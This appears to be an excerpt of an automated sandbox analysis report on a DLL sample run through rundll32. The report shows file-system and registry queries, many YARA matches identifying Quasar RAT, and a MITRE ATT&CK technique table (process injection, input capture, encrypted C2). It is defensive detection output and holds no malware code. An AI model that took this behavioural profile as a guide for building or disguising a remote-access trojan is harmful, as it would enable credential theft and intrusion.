Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Quasar RAT

Source: Yara match	File source: vstdlib_s64.dll.dll, type: SAMPLE
Source: Yara match	File source: 13.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1fbe5a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1c4bec00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2755e650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2caf50d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.24c76550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.19d796c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.1e0a1960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2596ef30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1d54ab70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.23d3f970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.1dd420a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.2d2ec850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.13f23770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.24f7dfe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.20471360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1edf6db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2a89aaa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1711858916.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1803940812.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1682910878.000002A89AAA2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1803619460.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1684076753.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1796633648.000001D54AB72000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1801854722.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1684166716.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1795873767.0000019D796C2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803576304.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1806601416.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1805439876.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1683326542.000002596EF32000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2929241294.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1798302966.0000023D3F972000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1805465891.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1800394851.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1802596768.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1795862473.000002CAF50D2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1795742842.0000013F23772000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1799338023.000001EDF6DB2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1794900321.0000024F7DFE2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1798309140.000002D2EC852000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2926634464.0000020471362000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1711125446.0000024C76552000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1794101772.000001E0A1962000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1787872788.000001FBE5A92000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2496, type: MEMORYSTR

Remote Access Functionality

Yara detected Quasar RAT

Source: Yara match	File source: vstdlib_s64.dll.dll, type: SAMPLE
Source: Yara match	File source: 13.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1fbe5a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1c4bec00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2755e650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2caf50d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.24c76550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.19d796c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.1e0a1960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2596ef30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1d54ab70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.23d3f970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.1dd420a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.2d2ec850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.13f23770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.7ffdfb180000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.24f7dfe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.20471360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1edf6db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2a89aaa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.7ffdfb3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1711858916.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1803940812.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1682910878.000002A89AAA2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1803619460.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1684076753.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1796633648.000001D54AB72000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1801854722.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1798585277.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1684166716.00007FFDFB182000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1795873767.0000019D796C2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1803576304.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1806601416.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1803017561.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1805439876.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1683326542.000002596EF32000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2929241294.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1798302966.0000023D3F972000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1805465891.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1800394851.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1782774058.000001DD420A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1802596768.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1795862473.000002CAF50D2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1795742842.0000013F23772000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1799338023.000001EDF6DB2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1794900321.0000024F7DFE2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1798309140.000002D2EC852000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2926634464.0000020471362000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1711125446.0000024C76552000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1794101772.000001E0A1962000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1787872788.000001FBE5A92000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1789628850.000002755E652000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2496, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	112 Process Injection	11 Masquerading	1 Input Capture	1 Process Discovery	Remote Services	1 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
